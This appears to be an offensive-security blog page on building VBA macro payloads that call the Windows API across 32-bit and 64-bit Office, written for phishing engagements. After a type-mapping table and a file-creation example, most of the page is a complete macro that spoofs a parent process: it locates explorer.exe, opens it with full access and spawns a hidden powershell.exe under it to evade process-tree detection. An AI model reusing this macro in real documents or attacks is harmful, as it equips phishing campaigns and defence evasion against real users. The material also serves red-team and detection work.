Comment on page
VBA Macros and the Windows API
Some examples of VBA WinAPI in Office 32-bit and Office 64-bit, useful for Offensive Security Development.
This post will serve as a reference for myself and any others who find it useful, on how to develop and build VBA payloads which make heavy use of the Windows API. Some of my most successful engagements which involve phishing stages have been very successful using custom VBA payloads.
I will continually update this so please bare with me.
C Type | VBA Declaration | Description |
BYTE, CHAR | ByVal variable As Byte | Integer |
BOOL | ByVal variable As Long | Long that should be 1 or 0 |
SHORT | ByVal variable As Integer | 16-bit integer value |
UINT | ByVal variable As Long | 32-bit integer ( > 0) |
INT | ByVal variable As Long | 32-bit integer value |
LONG | ByVal variable As Long | Alias for INT |
LONG | ByVal variable As LongPtr | 4 bytes on 32-bit systems, 8 bytes on 64-bit systems |
LongLong | ByVal variable As LongLong | 8 bytes, valid only on 64-bit |
WORD | ByVal variable As Long | An integer value, or two (bit wise concatenated) BYTES |
DWORD | ByVal variable As Long | A Long value, or two (bit wise concatenated) WORDS |
HWND, HDC, HMENU | ByVal variable As Long | Synonym for INT ; used in somecases to describe the expected value (a handle). |
LPSTR,LPCSTR | ByVal variable As String | A String variable |
LPVOID | variable As Any | Any variable (use ByVal when passing a string) |
NULL | As Any or
ByVal variable As Long | Only supply ByVal Nothing , ByVal 0& or vbNullString as value |
VOID | Sub procedure | N/A |
More information can be found on MSDN
As shown above the examples are using
ByVal
but pointers are regularly used when programming in the WinAPI. Visual Basic does not allow to use pointers directly, but we can use the ByRef
in the declaration to mimic a pointer. It will then pass the memory location of the variable to the function, rather than the value.We want our payloads to be agnostic of the architecture they are executed on. Since Office 2010 the applications are available as 64-bit as well as 32-bit. This introduces additional complexity. When declaring our functions or executing code that may differ between 32-bit and 64-bit we we can follow these rules of thumb:
- If you are on a 64-bit version of Windows, but are on a 32-bit version of Office, you can declare API calls like below. The
Win64
is relevent here because you could be on pre-VBA7, e.g. VBA6, but with a 64-bit OS and therefore the declarationVBA7
would not exist.#If Win64 ThenDeclare PtrSafe Function GetTickCount64 Lib "kernel32"() As LongLong#ElseDeclare PtrSafe Function GetTickCount Lib "kernel32" () As Long#End If - If you are on a 64-bit version of Windows, and are on a 64-bit version of Office, you can declare API calls like below because
VBA7
keyword is not actually available on anything other that 64-bit OS.#If VBA7 ThenDeclare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" ( _ByVal lpClassName As String, _ByVal lpWindowName As String) As LongPtr#ElseDeclare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _lpClassName As String, ByVal lpWindowName As String) As Long#End If
Since the switch to VBA7 three new keywords were introduced (2 data types and 1 modifier):
LongPtr
, LongLong
and PtrSafe
. Additionally, LongPtr
is an alias, therefore it will always work as expected on either architecture and Office architecture.HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
We also see an argument type of
LPSECURITY_ATTRIBUTES
, however in CreateFile
this can be a Null pointer, so we do not need to use this struct.#If Win64 Then
Private Declare PtrSafe Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
lpSecurityAttributes As Any, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long _
) As Long
Private Declare PtrSafe Function CloseHandle Lib "Kernel32" ( _
ByVal hObject As Long _
) As Long
#Else
Private Declare Function CreateFile Lib "Kernel32" Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
lpSecurityAttributes As Any, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long _
) As Long
Private Declare Function CloseHandle Lib "Kernel32" ( _
ByVal hObject As Long _
) As Long
#End If
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const FILE_SHARE_READ = &H1
Private Const FILE_SHARE_WRITE = &H2
Private Const OPEN_ALWAYS = &H4
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Public Function Test()
Dim hFile As Long
hFile = CreateFile("C:\Users\Mitch\Desktop\testfile.txt", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
CloseHandle (hFile)
End Function
In the above example we create a file
C:\Users\mitch\Desktop\testfile.txt
and this was tested on a Windows 10 64-bit with Office 32-bit and also Office 64-bit. As we try and program more complex scenarios into our payloads for example a
CreateProcess()
call which also spoofs our parent process ID, some of the APIs that we need to use have changed slightly between different OS architectures and Office Architectures.Below I have included a macro payload I built that will:
- 1.Get the PID of
explorer.exe
- 2.Get a handle to the
explorer.exe
process - 3.Create an
EXTENDEDSTARTUPINFOEX
structure pointing thePROC_THREAD_ATTRIBUTE_PARENT_PROCESS
attribute to the handle we retrieve. - 4.Spawn a
powershell.exe
process withexplorer.exe
set as its parent process.
Although this actual payload is not new or groundbreaking, what makes it different from other online resources is that it works both on Office 32-bit and Office 64-bit.
Option Explicit
Const MAX_PATH = 260
Const SW_HIDE = &H0&
Const HEAP_ZERO_MEMORY = &H8&
Const TH32CS_SNAPPROCESS = &H2
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const CREATE_NEW_CONSOLE = &H10
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
#If VBA7 And Win64 Then
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32DefaultHeapIDB As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
pcPriClassBaseB As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As LongPtr
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Long
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
ByVal hObject As LongPtr _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
#Else
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As Long
End Type
Private Declare Function GetProcessHeap Lib "kernel32" () As Long
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Any, _
lpThreadAttributes As Any, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As Long, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long
Private Declare Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As Long, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean
Private Declare Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As Long, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean
Private Declare Function HeapAlloc Lib "kernel32" ( _
ByVal hHeap As Long, ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hObject As Long _
) As Long
Private Declare Function InitializeProcThreadAttributeList Lib "kernel32" ( _
ByVal lpAttributelist As Long, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare Function UpdateProcThreadAttribute Lib "kernel32" ( _
ByVal lpAttributelist As Long, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As Long, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
#End If
Public Function getPidByName(ByVal ProcName As String) As Integer
Dim pEntry As PROCESSENTRY32
Dim ProcessFound As Boolean
pEntry.dwSize = Len(pEntry)
#If Win64 And VBA7 Then
Dim snapshot As LongPtr
#Else
Dim snapshot As Long
#End If
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
ProcessFound = Process32First(snapshot, pEntry)
Do
If Left$(pEntry.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
getPidByName = pEntry.th32ProcessID
ProcessFound = False
Else
ProcessFound = Process32Next(snapshot, pEntry)
End If
Loop While ProcessFound
End Function
Sub Test()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim sNull As String
Dim pid As Integer
Dim r As Integer
Dim threadAttribSize As Integer
Dim strCmdLine As String
#If VBA7 And Win64 Then
Dim hParent As LongPtr
#Else
Dim hParent As Long
#End If
strCmdLine = "powershell.exe -c calc"
r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
pid = getPidByName("explorer.exe")
hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
si.STARTUPINFO.wShowWindow = SW_HIDE
r = CreateProcess( _
sNull, _
strCmdLine, _
ByVal 0&, _
ByVal 0&, _
1&, _
EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _
ByVal 0&, _
sNull, _
VarPtr(si), _
pi _
)
End Sub
Some other useful references:
Last modified 3yr ago